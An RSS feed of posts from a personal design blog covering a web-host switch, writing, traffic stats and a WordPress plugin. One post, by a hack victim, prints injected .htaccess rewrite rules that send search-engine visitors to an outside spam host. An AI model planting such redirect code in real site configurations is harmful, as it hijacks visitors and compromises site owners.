<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Adrian3.com &#187; Blogging</title>
	<atom:link href="http://adrian3.com/category/blogging/feed/" rel="self" type="application/rss+xml" />
	<link>http://adrian3.com</link>
	<description>the blog of Adrian Hanft, III</description>
	<lastBuildDate>Tue, 13 Jul 2010 22:53:44 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Goodbye MediaTemple. Hello Dreamhost.</title>
		<link>http://adrian3.com/2010/06/goodbye-mediatemple-hello-dreamhost/</link>
		<comments>http://adrian3.com/2010/06/goodbye-mediatemple-hello-dreamhost/#comments</comments>
		<pubDate>Sun, 06 Jun 2010 16:53:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Design]]></category>
		<category><![CDATA[hosting]]></category>
		<category><![CDATA[web design]]></category>

		<guid isPermaLink="false">http://adrian3.com/?p=821</guid>
		<description><![CDATA[A few weeks ago my relationship with MediaTemple came to an end. I used to be a huge fan of MediaTemple. Huge. They were innovators. They appreciated and supported great design. Their customer service was great. I was more than happy paying a little more for their product because in my opinion it was much [...]]]></description>
			<content:encoded><![CDATA[<p>A few weeks ago my relationship with MediaTemple came to an end. I used to be a huge fan of MediaTemple. Huge. They were innovators. They appreciated and supported great design. Their customer service was great. I was more than happy paying a little more for their product because in my opinion it was much better than any other options available. Loved them. And then things turned bad. I wouldn&#8217;t go as far as to say that MediaTemple sucks, but I am happy to not have my sites hosted with them.</p>
<p><em>Here&#8217;s the short story:</em><br />
My site got hacked. I started getting charged way too much for bandwidth overages. Customer service was bad and failed to find a solution for me. I signed up with <a href="http://www.dreamhost.com/r.cgi?678023">Dreamhost</a> and have been more than satisfied so far. It gets technical after this, but you can keep reading for the full story&#8230;</p>
<p><em>Long Story:</em></p>
<p><strong>1. Media Temple Exploit #1026</strong><br />
First off, I was on a gridserver (GS), so I can&#8217;t vouch for any of their other hosting packages, so keep that in mind as you evaluate MediaTemple. Their other services might be better. This is what happened to me&#8230;</p>
<p>Last November my site was the victim of a major <a href="http://adrian3.com/2009/11/mediatemplewordpress-hack/">MediaTemple hack</a>. A large number of WordPress powered sites were affected by the exploit which added code to .htaccess files as well as index files. Bad news. While nothing was permanently damaged and no data was lost, the fact that so many MediaTemple accounts could be compromised so easily really makes you question the security of their whole operation. </p>
<p>The other thing that was strange about the MediaTemple hack was how they handled their PR throughout the ordeal. MediaTemple has a &#8220;system status&#8221; section on their site so that anyone (customer or not) can see what issues they are working on at any given moment. This is brilliant. It says to people, &#8220;No, we aren&#8217;t perfect, but as you can see we fix things as soon as we can.&#8221; It builds trust and makes you wonder what is really happening at hosting companies that aren&#8217;t so transparent. But when the MediaTemple hack happened, the response was slow. The argument could be made that this was for security reasons. Maybe. But it really seemed like they were covering something up. I got emails informing me that they would be changing my passwords, but it took a long time to get things under control and you can see that <a href="http://weblog.mediatemple.net/weblog/?s=1026">issue #1026 has several long posts</a> on their site outlining the whole thing.</p>
<p>But accidents happen, and I wasn&#8217;t going to let one incident kill a relationship that had up to this point been so stellar. So I stuck with them.</p>
<p><strong>2. Slow Sites</strong><br />
My sites started getting sluggish and unresponsive in March. Font Burner was practically unusable taking a minute to load the homepage at times and sometimes being down completely. Then at times it would work just fine. I haven&#8217;t gotten any explanation for this, and never found anything wrong with my files that would cause such sluggishness. This may seem like an unmeasurable thing, so let me reassure you that this isn&#8217;t just a passing observation. I use tools like yslow and caching tools to make sure my sites are as fast as possible. I have worked on sites hosted through most of the major hosting companies, so I know the difference between a poorly optimized site and a slow server like GoDaddy (AKA slowdaddy). For whatever reason, MediaTemple was regularly slow. This is something that isn&#8217;t supposed to happen on a gridserver. That is the main benefit of being on the grid compared to other shared hosting options. </p>
<p><strong>3. GPU Overages</strong><br />
It was about this same time that I started receiving my first notices of GPU overages from MediaTemple. At first it wan&#8217;t very expensive, but each month it slowly increased. Granted, my Font Burner website is a bandwidth hog that was built to support hotlinking to the fonts I host there. As more and more people use Font Burner, my bandwidth will obviously increase. I accept that. But as I researched GPU usage and optimized my site, I learned some interesting things about MediaTemple. Let me explain&#8230;</p>
<p>The GPU itself is a unique measurement invented by MediaTemple. Here&#8217;s a link to their <a href="http://mediatemple.net/webhosting/gs/faq.php#63">GPU FAQ&#8217;s</a>. Basically, this is a measurement of the amount of their server&#8217;s processor your site is using. Since the gridserver distributes the load of your website across a grid of machines, they chose processor usage as a way to identify the heavy users. That&#8217;s fair. If you are using more than your share of the grid, you should pay more. But the thing that is deceptive about MediaTemple&#8217;s marketing that this is strangely absent. You don&#8217;t see it mentioned in their description of the product. All you see is &#8220;100gb of storage, 1TB network traffic, 100 domains, etc.&#8221; The catch is that you will hit their GPU limits way before you ever get anywhere close to using that much storage, traffic, or total websites. So the $20/month cost is very misleading. </p>
<p><strong>4. Expensive Excessive Charges</strong><br />
At $0.10 per GPU it doesn&#8217;t sound that expensive if you are going over your GPU limits. Trust me, it adds up. If you are 3 GPU&#8217;s per hour over your limit it will cost you $50 per week. That is what you would pay for their Dedicated Virtual server for the whole month. </p>
<p>So I prepared myself for the ever increasing GPU usage that I would be using by optimizing my sites. Again, I learned some interesting things about MediaTemple. The main cause of GPU usage comes from your error pages, specifically the 404 pages. These pages are hogs because they redirect you to an error page any time a url is typed wrong, of from clicks on links to pages on your site that don&#8217;t exist. The first thing MediaTemple recommends is to fix broken links or create files at the location where you get the most errors. Here is a link to their <a href="http://kb.mediatemple.net/questions/269/Understanding+the+GPU+Tool">GPU tutorial</a>. </p>
<p>So I went about fixing my broken links and creating files in places where I was getting excessive error pages. I had a uniques situation here because of how Font Burner is setup. If you are one of the 12,000 people who have downloaded the Font Burner WordPress plugin you had to manually enter the name of the font you want to use into a box in your WordPress admin. If you make a mistake (capitalizing the name for example) this will create a link on every page of your site to a file that doesn&#8217;t exist on my site. It&#8217;s inevitable, and there isn&#8217;t much I can do about it. It happened on a dozen fonts or so, so I simply created fonts at those locations and with those names. Problem solved. Actually, no. Not at all. Read on.</p>
<p><strong>5. Disappointing Customer Service</strong><br />
I fixed many links and dramatically corrected the errors found in the GPU tool that MediaTemple provides. This had almost no impact on my total GPU usage. I was very surprised by this, so I called them. Up until this call I have only talked to competent helpful people at WordPress. This call was different. The guy reassured me that if I had fixed the 404 errors, I should be seeing a drop in GPU usage. I took his word for it and gave it some time to see if thing leveled off. They didn&#8217;t. So I called again and got the same answer. This person even told me that he saw a dip in my usage. It wasn&#8217;t until I got off the phone that I realized that he was looking at the current days usage. For the current day, their stats are about 12 hours behind. Since his reading was only a few hours into the new day, he thought I was below my limit. In fact I was almost at the limit just from the time in the middle of the night when my traffic is the lowest. Terrible analysis.</p>
<p>I commented on the support ticket. Silence. For days. </p>
<p>I tweeted about it and started asking people for an alternative to MediaTemple that they recommended. I was surprised to get a response from an MT worker through Twitter. They promised to look into it if I DM them my account number. So I did. Silence.</p>
<p>So I began the process of moving web hosts. I was looking at GatorHost, Bluehost, and Dreamhost. I decided on DreamHost because I liked how they let you move to a VPS if I needed to upgrade. I chatted with their support team on their site and was satisfied with their answers. I liked their control panel (almost as nicely designed as MT). The price was less than MT and they got lots of good praise from bloggers. Their customers are as loyal and vocal as the MediaTemple people. I found some negative reviews, too, and carefully measured the pros and cons.</p>
<p>I began moving my websites over and recreating databases. I was transferring files and setting things up pretty steadily for a few days. It isn&#8217;t an easy task, and not something I would have done if I could have stayed with MediaTemple. I had everything transferred over when I finally got a response on my open support ticket from MT. They said they would pass my issue over to someone else who could advise me about upgrading or something. </p>
<p>After my DNS switched over, I closed my account with MT once I was sure I had everything I needed from them backed up. I got a phone call from someone at MT while I was at work. I asked them to please call back because I really wanted to talk to them. The gal said, &#8220;sure,&#8221; but the phone call never came.</p>
<p><strong>Happy With DreamHost</strong><br />
So now, I am done with MediaTemple and so far every thing is going will with DreamHost. One of the bonuses of DreamHost is that they make it really easy to host Google products like gmail, google calendar, etc. on your own domain. Loving that. I haven&#8217;t had to upgrade to a VPS yet, surprisingly. The speed of my site has been satisfactory, and I haven&#8217;t noticed any sluggishness. I hesitate to give them my full endorsement having only used them for about a month, but so far I am impressed. Perhaps, I was just a bad match for MediaTemple because of my unique Font Burner needs. If you are thinking about switching hosting companies, you can <a href="http://www.dreamhost.com/r.cgi?678023">save $50 from Dreamhost if you use the promo code &#8220;adrian3&#8243; when you sign up for a year</a>. I will check in on this post again after I have been a DreamHost customer longer. Hope this was helpful to you!</p>
]]></content:encoded>
			<wfw:commentRss>http://adrian3.com/2010/06/goodbye-mediatemple-hello-dreamhost/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Blog-to-Blog Conversation Intro</title>
		<link>http://adrian3.com/2010/03/blog-to-blog-conversation-intro/</link>
		<comments>http://adrian3.com/2010/03/blog-to-blog-conversation-intro/#comments</comments>
		<pubDate>Tue, 16 Mar 2010 03:50:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Blogging]]></category>

		<guid isPermaLink="false">http://adrian3.com/?p=745</guid>
		<description><![CDATA[I am not sure if I am just nostalgic for design conversations like in the good-old days, or if I am looking for an excuse to reconnect with old friends, but I have been corresponding by email with people that have influenced me significantly over the years, particularly in regard to my creative development. One [...]]]></description>
			<content:encoded><![CDATA[<p>I am not sure if I am just nostalgic for design conversations like in <a href="http://www.beadesigngroup.com/">the good-old days</a>, or if I am looking for an excuse to reconnect with old friends, but I have been corresponding by email with people that have influenced me significantly over the years, particularly in regard to my creative development. One of those friends is <a href="http://www.bohemianalps.com/">Jason Simanek</a>, a talented designer/artist/thinker that I went to college with at Concordia University. I have fond memories of sharing a studio with Jason and the many conversations where we pushed each other in hopes of understanding what art was and what it meant to be an artist. I can&#8217;t believe that was almost a decade ago and I am still wrestling with the same ideas. I wasn&#8217;t surprised that an email to Jason sparked some interesting ideas. We decided that it would be fun to make our conversation public and experiment with a blog-to-blog conversation. The first fruits of this experiment can be seen on Jason&#8217;s blog at <a href="http://www.bohemianalps.com/blog/">bohemianalps.com</a>. Here are links to the first two posts:</p>
<p><a href="http://www.bohemianalps.com/blog/2010/03/creative-occupation/">In Search of a Truly Creative Occupation</a></p>
<p><a href="http://www.bohemianalps.com/blog/2010/03/fine-art-in-museums-tigers-in-zoos/">Fine Art in Museums: Tigers in Zoos</a></p>
<p>I hope you enjoy our thoughts, and watch for me to post the next chapter in the conversation soon&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://adrian3.com/2010/03/blog-to-blog-conversation-intro/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>The Secret Weapon of Good Writers</title>
		<link>http://adrian3.com/2010/01/the-secret-weapon-of-good-writers-passion/</link>
		<comments>http://adrian3.com/2010/01/the-secret-weapon-of-good-writers-passion/#comments</comments>
		<pubDate>Fri, 29 Jan 2010 05:13:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[writing]]></category>

		<guid isPermaLink="false">http://adrian3.com/?p=699</guid>
		<description><![CDATA[I have been writing regularly since 2004 and while I am not completely comfortable with calling myself a &#8220;writer,&#8221; it is something that I aspire to become. Today I was inadvertently paid a complement by an editor who told me, &#8220;Your style is a bit different than what we do. Your writing is a bit [...]]]></description>
			<content:encoded><![CDATA[<p>I have been writing regularly since 2004 and while I am not completely comfortable with calling myself a &#8220;writer,&#8221; it is something that I aspire to become. Today I was inadvertently paid a complement by an editor who told me, &#8220;Your style is a bit different than what we do. Your writing is a bit more personal than I&#8217;d like.&#8221; The context of this statement was after evaluating some writing samples I sent as a prerequisite for possibly writing for a certain web designer site. While it wasn&#8217;t meant as a compliment, I really took pride in the fact that something &#8220;personal&#8221; is coming through with my writing.</p>
<p>The truth is that, yes, I take my writing very personally. The writing that I admire the most is from authors who aren&#8217;t afraid to let their emotion carry over to their written words. For example&#8230;</p>
<p><a href="http://sethgodin.typepad.com/">Some authors are visionaries.</a><br />
<a href="http://css-tricks.com/">Some are great teachers.</a><br />
<a href="http://www.shauninman.com/">Some are prolific creators.</a><br />
<a href="http://dilbertblog.typepad.com/">Some do it with humor and logic.</a><br />
<a href="http://nataliejost.com/">Some do it with honesty. </a><br />
<a href="http://www.underconsideration.com/uc/founders/armin_vit.php">Others are articulate.</a><br />
<a href="http://www.retrothing.com/">Some are fanatics. </a><br />
<a href="http://daringfireball.net/">Some do it with insightful commentary.</a><br />
<a href="http://www.fuelfriendsblog.com/">Some are trendsetters.</a><br />
<a href="http://www.alistapart.com/">Some are committed to excellence.</a><br />
<a href="http://kottke.org/">Some are consistently random but fascinating.</a><br />
<a href="http://strobist.blogspot.com/">Some are just experts. </a></p>
<p>Is there something that all these authors have in common. If I had to guess at the source of this talent I would put my money on passion. When you are truly passionate about something it is very hard NOT to let your passion show through in your writing. The opposite is definitely not true. If you don&#8217;t care about a topic it is impossible to write a compelling essay about it. </p>
<p>The question that this leaves me with is whether or not the world needs another lifeless web design blog. How many CSS galleries, Photoshop tutorials, top ten lists, and free font/icon/theme blogs do we need? At what point will the pendulum swing back to the side of truly passionate discourse about design? Will there be a resurgence of critical thinking similar to the days when <a href="http://www.beadesigngroup.com/">BADG</a> and <a href="http://www.underconsideration.com/speakup/">SpeakUp</a> dominated the design blogosphere? I truly hope so. In the meantime, I will continue to strive toward writing passionate and personal posts.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrian3.com/2010/01/the-secret-weapon-of-good-writers-passion/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Analyzing Web Traffic</title>
		<link>http://adrian3.com/2009/11/analyzing-web-traffic/</link>
		<comments>http://adrian3.com/2009/11/analyzing-web-traffic/#comments</comments>
		<pubDate>Wed, 18 Nov 2009 03:16:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[analytics]]></category>
		<category><![CDATA[google webmaster tools]]></category>
		<category><![CDATA[seo]]></category>
		<category><![CDATA[web stats]]></category>
		<category><![CDATA[web traffic]]></category>

		<guid isPermaLink="false">http://adrian3.com/?p=571</guid>
		<description><![CDATA[I used to be a habitual stat watcher, but over the last couple years I haven&#8217;t kept a close eye on where my traffic as closely. As a result it was a bit of a surprise to learn which of my posts get the most hits from search engines. Using Google&#8217;s Webmaster Tools, I was [...]]]></description>
			<content:encoded><![CDATA[<p>I used to be a habitual stat watcher, but over the last couple years I haven&#8217;t kept a close eye on where my traffic as closely. As a result it was a bit of a surprise to learn which of my posts get the most hits from search engines. Using <a href="https://www.google.com/webmasters/tools/">Google&#8217;s Webmaster Tools</a>, I was able to get a good overview of what search results are sending people to my site. I thought I would post the results here so that perhaps you can use this information to give you some ideas about what to write about on your blog. Here are the four main sources of traffic I have seen visiting adrian3.com&#8230;</p>
<p><strong>1. Victims of Scams/Cautious Shoppers</strong><br />
Whenever I get ripped off, I usually use my blog as a place to vent. Several of these rants generate traffic for me because I am not the only victim in most of these cases. For example, the most popular search on my site is for &#8220;<a href="http://adrian3.com/2006/08/privacy-matters-a-scam/">Privacy Matters Scam</a>&#8221; which I posted over three years ago. Apparently, the fraud continues with that organization. It also looks like the Nebraska gas stations are still up to no good because people are searching for &#8220;<a href="http://adrian3.com/2009/05/nebraka-gas-price-fraud-part-2/">Cost of Gas in Nebraska</a>.&#8221;</p>
<p>Cautious shoppers are also finding my site as they do their homework on local companies like &#8220;<a href="http://adrian3.com/2009/04/mac-shack-review/">Mac Shack Fort Collins</a>.&#8221; It makes me feel good to know that my posts are more than just rants, and people are finding useful information to help them deal with bad situations.</p>
<p><strong>2. Software Pirates</strong><br />
I was amazed by how much traffic I get from people searching for activation numbers for the Adobe Creative Suite. I wrote a post about my frustration with Adobe, but the traffic this post receives seems to be exclusively people looking for a &#8220;<a href="http://adrian3.com/2007/09/more-adobe-complaints/">Photoshop CS3 Serial Number</a>.&#8221;</p>
<p><strong>3. Unique Longtail Content</strong><br />
Unlike the software pirates, it is reassuring that people are finding the unique content I create here on Adrian3. Searches for topics of my essays like, &#8220;<a href="http://adrian3.com/2009/02/ten-things-to-do-on-your-last-day-of-work/">What to do on your Last Day of Work</a>,&#8221; or &#8220;<a href="http://adrian3.com/2009/05/ten-ways-to-improve-your-memory-of-dreams/">How can I improve my dream memory</a>?,&#8221; and &#8220;<a href="http://adrian3.com/2009/11/the-velveeta-paradox-a-marketing-conundrum/">Where is Velveeta in the grocery store</a>,&#8221; are evidence that their is an audience for my obscure ramblings.</p>
<p>If you have a blog, I would encourage you to write about your unusual, non-traditional ideas because people will find them. Common sense might tell you that a broad post that appeals to the masses would generate the most traffic, but actually the opposite is true. The reason for this is that the popular topics are also the subject of many more blogger&#8217;s posts. Competition is much higher for a post about Ashton Kutcher, than it is for a more obscure post about the <a href="http://adrian3.com/2008/05/ashton-kutcher-endorsing-nikon/">Ashton Kutcher Camera</a>.</p>
<p>Other longtail topics I have written about include:<br />
<a href="http://adrian3.com/2008/06/how-to-remove-orphaned-files-in-your-itunes-music-library-folder/">iTunes Orphans</a> (A post about how to remove orphaned iTunes Files)<br />
<a href="http://adrian3.com/2009/05/super-mario-stop-motion-movie/">Stop Motion Movie</a><br />
<a href="http://adrian3.com/2009/02/12-things-that-make-a-good-mechanical-pencil/">Good mechanical pencils</a><br />
<a href="http://adrian3.com/2009/03/my-macbook-pro-crashed-today/">MacBook Pro Crashed</a> (I feel for these people!)</p>
<p><strong>4. Original Creations</strong><br />
A good portion of my traffic also comes from people looking for things I have created. This is probably the most rewarding result of my traffic analysis because I really love it when my creations get seen and used. My most popular creations include:</p>
<p><a href="http://adrian3.com/2008/10/iphone-control-panel-wordpress-plugin/">iPhone Control Panel Plugin</a><br />
<a href="http://www.wordpressblue.com/2009/10/font-burner-wordpress-plugin-powerful-easy-to-use-and-dangerous/">Font Burner</a><br />
<a href="http://adrian3.com/2009/05/konami-easter-egg_wordpress-plugin/">Konami Easter Egg</a><br />
<a href="http://adrian3.com/2008/01/sofa-control-script-for-controlling-istopmotion/">Sofa Control scripts</a></p>
]]></content:encoded>
			<wfw:commentRss>http://adrian3.com/2009/11/analyzing-web-traffic/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>MediaTemple/WordPress Hack</title>
		<link>http://adrian3.com/2009/11/mediatemplewordpress-hack/</link>
		<comments>http://adrian3.com/2009/11/mediatemplewordpress-hack/#comments</comments>
		<pubDate>Sat, 14 Nov 2009 17:59:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[.htaccess]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[mediatemple]]></category>
		<category><![CDATA[robots.txt]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://adrian3.com/?p=515</guid>
		<description><![CDATA[I spent last night trying to figure out how my websites got hacked. Luckily no permanent damage was done, but it did take some time to figure out what was going on. I wanted to post my experience in case someone else comes across this same problem. Here is what happened&#8230; By pure coincidence I [...]]]></description>
			<content:encoded><![CDATA[<p>I spent last night trying to figure out how my websites got hacked. Luckily no permanent damage was done, but it did take some time to figure out what was going on. I wanted to post my experience in case someone else comes across this same problem. Here is what happened&#8230;</p>
<p>By pure coincidence I happened to be looking at my robots.txt file last night. Actually, I didn&#8217;t even have a robots.txt file on my site. I was playing with Google&#8217;s Webmaster Tools and noticed that Google was giving errors when it read my robots.txt (which didn&#8217;t exist). I went to the address where there shouldn&#8217;t have been a file at all (http://fontburner.com/robots.txt) and saw a page of text filled with links to porn/spam sites. This sent me off on a wild goose chase to figure out how my site had been exploited.</p>
<p>The first place I looked was at my .htaccess file. My guess was that they were using the .htaccess file to redirect robots.txt to some other file. In my .htaccess file I noticed this code which I was pretty sure wan&#8217;t put there by me:</p>
<p><code><br />
RewriteEngine On</p>
<p>RewriteOptions inherit</p>
<p>RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]</p>
<p>RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR]</p>
<p>RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]</p>
<p>RewriteCond %{HTTP_REFERER} .*bing.*$ [NC,OR]</p>
<p>RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]</p>
<p>RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]</p>
<p>RewriteRule .* http://allvideo.org.uk/in.cgi?4&#038;parameter=sf [R,L]<br />
</code></p>
<p>The thing that threw me off was that this looks like legitimate code because the first line looks like it might be telling Google not to index the images of your site. Is this the work of a clever hacker adding decoy code before the really nasty stuff?</p>
<p>Deleting this code from my .htaccess file didn&#8217;t seem to affect my robots.txt file so I kept looking for a solution.</p>
<p>At this point I opened a ticket with MediaTemple, my web host to see if they had any advice. They responded quickly with a link to a <a href="http://kb.mediatemple.net/questions/1715/Working+with+a+php+injected+website">knowledge base article called &#8220;Working with a php injected website.&#8221;</a> This article confirmed my .htaccess suspicions and also pointed me to a line of code found in php files. Removing the .htaccess code was easy, but how do you find a line of code in the thousands of php files on a WordPress powered site?</p>
<p>MediaTemple also hinted at the possibility of needing to reinstall all WordPress files, something that I really didn&#8217;t want to do. I did some searching and came accross a good writeup of the situation on kyle-brady.com called &#8220;<a href="http://www.kyle-brady.com/2009/11/07/wordpress-mediatemple-and-an-injection-attack/">WordPress, MediaTemple, and an Injection Attack.</a>&#8221; If you are a victim of this attack, I encourage you to read this post because it gives instructions about how to fix and identify the problem as well as many comments from other victims.</p>
<p>It turned out that in addition to removing the malicious code from the .htaccess file I also had to remove code from the index.php files in the root of my site. Once that was all cleared out, my robots.txt file issue was corrected. It looks like other people encountered deeper problems that affected the links in blog posts. Those people had to recreate their recent blog posts manually. Yuck.</p>
<p>This whole ordeal has left me feeling violated and unconfident about both WordPress and MediaTemple. If someone can add code to your .htaccess and your index.php files, that is a major hack. I feel lucky that they didn&#8217;t do more harm than they did because it seems like if you can hack those files you could easily take a site down or worse.</p>
<p>I am unsure who is actually to blame for this exploit, if anyone is. I heave read that MediaTemple blames WordPress and WordPress blames MediaTemple. There are reports that Drupal sites have also been exploited, so the problem isn&#8217;t limited to WordPress only. WordPress has released an update in the last week, but I don&#8217;t see any evidence that this issue was addressed in the latest security fix.</p>
<p>MediaTemple has told me that they changed all affected sites passwords for FTP. They also said that they scanned their servers and removed the malicious code. This is a confusing statement because neither of these things appears to have been done in my case. My FTP password still worked, and unless I removed the code before they did, they didn&#8217;t remove it from my site.</p>
<p>The good news is that the issue is (hopefully) behind me. If you are hosted on MediaTemple, I would advise you to take a look at your robots.txt (even if you don&#8217;t have one) because if I hadn&#8217;t noticed it I never would have known my site was infected. You may be a victim of the hack and not even know it.</p>
]]></content:encoded>
			<wfw:commentRss>http://adrian3.com/2009/11/mediatemplewordpress-hack/feed/</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
		<title>Konami Easter Egg WordPress Plugin</title>
		<link>http://adrian3.com/2009/05/konami-easter-egg-wordpress-plugin/</link>
		<comments>http://adrian3.com/2009/05/konami-easter-egg-wordpress-plugin/#comments</comments>
		<pubDate>Sun, 24 May 2009 03:38:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Inventions/Creations]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[contra]]></category>
		<category><![CDATA[easter egg]]></category>
		<category><![CDATA[konami]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[wordpress plugin]]></category>

		<guid isPermaLink="false">http://adrian3.com/?p=426</guid>
		<description><![CDATA[WordPress Plugins by Adrian Hanft Easter Egg Plugin I am proud to introduce my latest WordPress Plugin. This one is called &#8220;Konami Easter Egg&#8221; and it makes it easy for anyone to create custom easter eggs on any WordPress powered website. If you aren&#8217;t quite sure what an easter egg is, let me backup and [...]]]></description>
			<content:encoded><![CDATA[<div class="images_with_caption alignright size-full wp-image-656" style="width:320px;">
	<img src="http://www.adrian3.com/wp-content/uploads/2009/12/WordPress_Plugins_By_Adrian_Hanft.jpg" alt="WordPress Plugins by Adrian Hanft" width="320" height="418" />
	<div>WordPress Plugins by Adrian Hanft</div>
</div><div class="images_with_caption " style="width:327px;">
	<img src="http://www.adrian3.com/wp-content/uploads/2007/08/easter_egg.jpg" alt="easter_egg" width="327" height="123" />
	<div>Easter Egg Plugin</div>
</div>
<p>I am proud to introduce my latest WordPress Plugin. This one is called &#8220;Konami Easter Egg&#8221; and it makes it easy for anyone to create custom easter eggs on any WordPress powered website. If you aren&#8217;t quite sure what an easter egg is, let me backup and give you a little history lesson. Easter eggs are hidden secrets that can be found in movies, websites, books, Tivo remote controls, and pretty much anything where the creator has hidden secrets. They are called &#8220;easter eggs&#8221; because they are hidden treasures that you have to find. The creators of these things often hide them as a wink to other people who know the secret code.</p>
<p>One of the most famous easter eggs was created by <a href="http://en.wikipedia.org/wiki/Konami_Code">video game maker Konami in 1988 when they hid a code in their Contra game</a> that allowed the player to gain 30 extra lives. The code was entered by pushing a sequence of buttons on their controller. The code was &#8220;up up down down left right left right b a start select.&#8221;</p>
<p>The Konami code has since been used in countless games and has transcended into popular culture. Most recently, the code has been added to Facebook with &#8220;start select&#8221; being replaced by &#8220;enter.&#8221; There is even a website dedicated to documenting all the websites that use the Konami code, <a href="http://konamicodesites.com/">http://konamicodesites.com/</a>.</p>
<p>I have always been intrigued by easter eggs and have long wanted to be able to add hidden things to websites that I make. When I learned about a javascript file called <a href="http://code.google.com/p/konami-js/">konami-js available on Google Code</a> I realized that I could make a WordPress plugin for creating secret codes that reveal hidden messages on a website.</p>
<p><del datetime="2009-05-25T22:47:20+00:00">My plugin will hopefully appear in the WordPress plugin directory soon, but if you would like to test it out ahead of time, please contact me and I will send you a demo. </del></p>
<p><a href="http://wordpress.org/extend/plugins/konami-easter-egg/">The Konami Easter Egg plugin is available now through the WordPress Plugin Directory</a>. Here are the installation instructions:</p>
<p><a href="http://www.adrian3.com/wp-content/uploads/2009/05/konami_easter_egg_screenshot.jpg">Click here to view a screenshot of the settings page of the Konami Easter Egg Plugin.</a><div class="images_with_caption alignright size-thumbnail wp-image-432" style="width:150px;">
	<a href="http://www.adrian3.com/wp-content/uploads/2009/05/konami_easter_egg_screenshot.jpg"><img src="http://www.adrian3.com/wp-content/uploads/2009/05/konami_easter_egg_screenshot-150x150.jpg" alt="konami easter egg screenshot" width="150" height="150" /></a>
	<div>konami easter egg screenshot</div>
</div>
<p><strong>Installation</strong><br />
Installing Konami Easter Egg is very easy and do not require any template modification. Just follow these steps :</p>
<p>1. Upload the folder &#8216;easter_egg&#8217; to the &#8216;/wp-content/plugins/&#8217; directory.</p>
<p>2. Activate the plugin through the &#8216;Plugins&#8217; menu in WordPress.</p>
<p>3. After activating the plugin you should see &#8220;Easter Egg&#8221; in the sidebar under &#8220;Settings.&#8221;</p>
<p>4. *IMPORTANT* Before the easter eggs will appear it is important that you enter the name of the outer most Div tag used in your theme templates. This can be found by viewing the source code of a page on your site. The first Div after the  will look something like &#8220;&lt;div id=&#8221;wrapper&#8221;&gt;&#8221;. Take the name of this div (in this case it would be &#8220;wrapper&#8221; and enter it in the settings page for the plugin.</p>
<p>5. Enter the YouTube code of the video you would like to show.  Change the &#8220;key&#8221; if you want a unique key combination to unlock the easter egg. Change the message to say something unique. Customize the CSS to change the appearance of your Easter Egg as desired.</p>
<p>6. Congratulations, you did it!</p>
<p>By the way, I wonder what would happen if you entered the Konami code right now. Only one way to find out!</p>
]]></content:encoded>
			<wfw:commentRss>http://adrian3.com/2009/05/konami-easter-egg-wordpress-plugin/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Web Designers on Twitter</title>
		<link>http://adrian3.com/2009/05/web-designers-on-twitter/</link>
		<comments>http://adrian3.com/2009/05/web-designers-on-twitter/#comments</comments>
		<pubDate>Thu, 21 May 2009 04:03:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Design]]></category>
		<category><![CDATA[bloggers]]></category>
		<category><![CDATA[designers]]></category>
		<category><![CDATA[designers on twitter]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[twittering designers]]></category>

		<guid isPermaLink="false">http://adrian3.com/?p=421</guid>
		<description><![CDATA[I have been using Twitter a bit more recently and it has been fun to connect with web designers on Twitter and the huge numbers of designers using Twitter. If you are looking for designer to follow on Twitter, here are some links to websites that have created lists of some of the more noteworthy [...]]]></description>
			<content:encoded><![CDATA[<p>I have been using Twitter a bit more recently and it has been fun to connect with web designers on Twitter and the huge numbers of designers using Twitter. If you are looking for designer to follow on Twitter, here are some links to websites that have created lists of some of the more noteworthy designers on Twitter. And while you are looking at all the designers who twitters, be sure to add me (<a href="http://twitter.com/ade3">@ade3</a>) and I will gladly reciprocate.</p>
